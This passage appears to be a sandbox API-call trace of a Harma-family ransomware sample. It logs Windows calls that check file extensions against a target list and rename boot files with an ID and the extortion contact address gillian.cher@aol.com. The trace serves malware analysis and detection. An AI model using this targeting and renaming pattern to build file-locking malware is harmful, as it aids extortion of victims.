lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0174.872] lstrlenW (lpString=".ppt") returned 4 [0174.872] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0174.872] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.872] lstrlenW (lpString=".zip") returned 4 [0174.872] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0174.872] lstrlenW (lpString=".rar") returned 4 [0174.872] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0174.872] lstrlenW (lpString=".bz2") returned 4 [0174.873] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0174.873] lstrlenW (lpString=".7z") returned 3 [0174.873] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0174.873] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.873] lstrlenW (lpString=".dbf") returned 4 [0174.873] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0174.873] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.873] lstrlenW (lpString=".1cd") returned 4 [0174.873] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0174.873] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0174.873] lstrlenW (lpString=".jpg") returned 4 [0174.873] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0174.873] lstrcmpiW (lpString1=".LOG2", lpString2=".harma") returned 1 [0174.873] lstrlenW (lpString="BCD.LOG2") returned 8 [0174.873] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0174.875] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0174.875] CloseHandle (hObject=0x1dc) returned 1 [0174.875] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.875] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.875] lstrlenW (lpString=".doc") returned 4 [0174.875] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0174.875] lstrlenW (lpString=".docx") returned 5 [0174.875] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0174.875] lstrlenW (lpString=".pdf") returned 4 [0174.875] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0174.875] lstrlenW (lpString=".xls") returned 4 [0174.875] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0174.875] lstrlenW (lpString=".xlsx") returned 5 [0174.875] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0174.875] lstrlenW (lpString=".ppt") returned 4 [0174.875] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0174.875] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.875] lstrlenW (lpString=".zip") returned 4 [0174.875] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0174.875] lstrlenW (lpString=".rar") returned 4 [0174.875] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0174.875] lstrlenW (lpString=".bz2") returned 4 [0174.875] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0174.875] lstrlenW (lpString=".7z") returned 3 [0174.876] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0174.876] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.876] lstrlenW (lpString=".dbf") returned 4 [0174.876] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0174.876] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.876] lstrlenW (lpString=".1cd") returned 4 [0174.876] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0174.876] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.876] lstrlenW (lpString=".jpg") returned 4 [0174.876] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0174.876] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.876] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.876] lstrlenW (lpString=".doc") returned 4 [0174.876] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0174.876] lstrlenW (lpString=".docx") returned 5 [0174.876] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0174.876] lstrlenW (lpString=".pdf") returned 4 [0174.876] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0174.876] lstrlenW (lpString=".xls") returned 4 [0174.876] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0174.876] lstrlenW (lpString=".xlsx") returned 5 [0174.876] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0174.876] lstrlenW (lpString=".ppt") returned 4 [0174.876] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0174.876] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.877] lstrlenW (lpString=".zip") returned 4 [0174.877] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0174.877] lstrlenW (lpString=".rar") returned 4 [0174.877] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0174.877] lstrlenW (lpString=".bz2") returned 4 [0174.877] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0174.877] lstrlenW (lpString=".7z") returned 3 [0174.877] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0174.877] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.877] lstrlenW (lpString=".dbf") returned 4 [0174.877] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0174.877] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.877] lstrlenW (lpString=".1cd") returned 4 [0174.877] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0174.877] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0174.877] lstrlenW (lpString=".jpg") returned 4 [0174.877] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0174.877] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0174.877] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0174.877] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0174.878] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=89168) returned 1 [0174.878] CloseHandle (hObject=0x1dc) returned 1 [0174.878] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0174.878] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.878] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.878] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.878] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.878] lstrlenW (lpString=".doc") returned 4 [0174.878] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0174.878] lstrlenW (lpString=".docx") returned 5 [0174.878] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0174.878] lstrlenW (lpString=".pdf") returned 4 [0174.878] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0174.878] lstrlenW (lpString=".xls") returned 4 [0174.878] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0174.878] lstrlenW (lpString=".xlsx") returned 5 [0174.878] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0174.878] lstrlenW (lpString=".ppt") returned 4 [0174.879] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0174.879] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.879] lstrlenW (lpString=".zip") returned 4 [0174.879] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0174.879] lstrlenW (lpString=".rar") returned 4 [0174.879] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0174.879] lstrlenW (lpString=".bz2") returned 4 [0174.879] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0174.879] lstrlenW (lpString=".7z") returned 3 [0174.879] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0174.879] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.879] lstrlenW (lpString=".dbf") returned 4 [0174.879] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0174.879] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.879] lstrlenW (lpString=".1cd") returned 4 [0174.879] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0174.879] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.879] lstrlenW (lpString=".jpg") returned 4 [0174.879] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0174.880] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.880] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.880] lstrlenW (lpString=".doc") returned 4 [0174.880] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0174.880] lstrlenW (lpString=".docx") returned 5 [0174.880] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0174.880] lstrlenW (lpString=".pdf") returned 4 [0174.880] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0174.880] lstrlenW (lpString=".xls") returned 4 [0174.880] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0174.880] lstrlenW (lpString=".xlsx") returned 5 [0174.880] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0174.880] lstrlenW (lpString=".ppt") returned 4 [0174.880] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0174.880] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.880] lstrlenW (lpString=".zip") returned 4 [0174.880] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0174.880] lstrlenW (lpString=".rar") returned 4 [0174.880] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0174.880] lstrlenW (lpString=".bz2") returned 4 [0174.880] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0174.880] lstrlenW (lpString=".7z") returned 3 [0174.880] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0174.880] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.880] lstrlenW (lpString=".dbf") returned 4 [0174.880] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0174.880] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.880] lstrlenW (lpString=".1cd") returned 4 [0174.880] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0174.881] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0174.881] lstrlenW (lpString=".jpg") returned 4 [0174.881] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0174.881] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0174.881] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0174.881] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0174.881] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=87616) returned 1 [0174.881] CloseHandle (hObject=0x1dc) returned 1 [0174.881] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0174.881] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.881] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.882] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.882] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.882] lstrlenW (lpString=".doc") returned 4 [0174.882] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0174.882] lstrlenW (lpString=".docx") returned 5 [0174.882] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0174.882] lstrlenW (lpString=".pdf") returned 4 [0174.882] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0174.882] lstrlenW (lpString=".xls") returned 4 [0174.882] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0174.882] lstrlenW (lpString=".xlsx") returned 5 [0174.882] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0174.882] lstrlenW (lpString=".ppt") returned 4 [0174.882] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0174.882] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.882] lstrlenW (lpString=".zip") returned 4 [0174.882] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0174.882] lstrlenW (lpString=".rar") returned 4 [0174.882] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0174.882] lstrlenW (lpString=".bz2") returned 4 [0174.882] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0174.882] lstrlenW (lpString=".7z") returned 3 [0174.882] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0174.882] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.882] lstrlenW (lpString=".dbf") returned 4 [0174.882] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0174.882] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.882] lstrlenW (lpString=".1cd") returned 4 [0174.882] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0174.883] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.883] lstrlenW (lpString=".jpg") returned 4 [0174.883] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0174.883] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.883] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.883] lstrlenW (lpString=".doc") returned 4 [0174.883] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0174.883] lstrlenW (lpString=".docx") returned 5 [0174.883] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0174.883] lstrlenW (lpString=".pdf") returned 4 [0174.883] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0174.883] lstrlenW (lpString=".xls") returned 4 [0174.883] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0174.883] lstrlenW (lpString=".xlsx") returned 5 [0174.883] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0174.883] lstrlenW (lpString=".ppt") returned 4 [0174.883] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0174.883] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.883] lstrlenW (lpString=".zip") returned 4 [0174.883] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0174.883] lstrlenW (lpString=".rar") returned 4 [0174.883] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0174.883] lstrlenW (lpString=".bz2") returned 4 [0174.883] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0174.883] lstrlenW (lpString=".7z") returned 3 [0174.883] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0174.883] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.883] lstrlenW (lpString=".dbf") returned 4 [0174.883] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0174.883] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.884] lstrlenW (lpString=".1cd") returned 4 [0174.884] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0174.884] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0174.884] lstrlenW (lpString=".jpg") returned 4 [0174.884] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0174.884] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0174.884] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0174.884] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0174.884] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=91712) returned 1 [0174.884] CloseHandle (hObject=0x1dc) returned 1 [0174.884] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0174.884] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.884] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.885] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.885] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.885] lstrlenW (lpString=".doc") returned 4 [0174.885] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0174.885] lstrlenW (lpString=".docx") returned 5 [0174.885] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0174.885] lstrlenW (lpString=".pdf") returned 4 [0174.885] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0174.885] lstrlenW (lpString=".xls") returned 4 [0174.885] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0174.885] lstrlenW (lpString=".xlsx") returned 5 [0174.885] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0174.885] lstrlenW (lpString=".ppt") returned 4 [0174.885] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0174.885] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.885] lstrlenW (lpString=".zip") returned 4 [0174.885] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0174.885] lstrlenW (lpString=".rar") returned 4 [0174.885] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0174.885] lstrlenW (lpString=".bz2") returned 4 [0174.885] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0174.885] lstrlenW (lpString=".7z") returned 3 [0174.885] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0174.885] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.885] lstrlenW (lpString=".dbf") returned 4 [0174.885] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0174.885] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.885] lstrlenW (lpString=".1cd") returned 4 [0174.885] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0174.885] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.885] lstrlenW (lpString=".jpg") returned 4 [0174.885] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0174.886] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.886] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.886] lstrlenW (lpString=".doc") returned 4 [0174.886] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0174.886] lstrlenW (lpString=".docx") returned 5 [0174.886] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0174.886] lstrlenW (lpString=".pdf") returned 4 [0174.886] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0174.886] lstrlenW (lpString=".xls") returned 4 [0174.886] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0174.886] lstrlenW (lpString=".xlsx") returned 5 [0174.886] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0174.886] lstrlenW (lpString=".ppt") returned 4 [0174.886] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0174.886] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.886] lstrlenW (lpString=".zip") returned 4 [0174.886] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0174.886] lstrlenW (lpString=".rar") returned 4 [0174.886] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0174.886] lstrlenW (lpString=".bz2") returned 4 [0174.886] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0174.886] lstrlenW (lpString=".7z") returned 3 [0174.886] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0174.886] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.886] lstrlenW (lpString=".dbf") returned 4 [0174.886] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0174.886] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.886] lstrlenW (lpString=".1cd") returned 4 [0174.886] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0174.886] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0174.886] lstrlenW (lpString=".jpg") returned 4 [0174.886] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0174.887] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0174.887] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0174.887] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0174.887] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=94800) returned 1 [0174.887] CloseHandle (hObject=0x1dc) returned 1 [0174.887] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0174.887] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.887] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.887] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0174.887] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0174.887] lstrlenW (lpString=".doc") returned 4 [0174.887] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0174.888] lstrlenW (lpString=".docx") returned 5 [0174.888] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0174.888] lstrlenW (lpString=".pdf") returned 4 [0174.888] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0174.888] lstrlenW (lpString=".xls") returned 4 [0174.888] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0174.888] lstrlenW (lpString=".xlsx") returned 5 [0174.888] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0174.888] lstrlenW (lpString=".ppt") returned 4 [0174.888] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0174.888] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0174.888] lstrlenW (lpString=".zip") returned 4 [0174.888] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0174.888] lstrlenW (lpString=".rar") returned 4 [0174.888] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0174.888] lstrlenW (lpString=".bz2") returned 4 [0174.888] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0174.888] lstrlenW (lpString=".7z") returned 3 [0174.888] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0174.889] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0174.890] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0174.890] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0174.890] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0174.894] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.894] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft 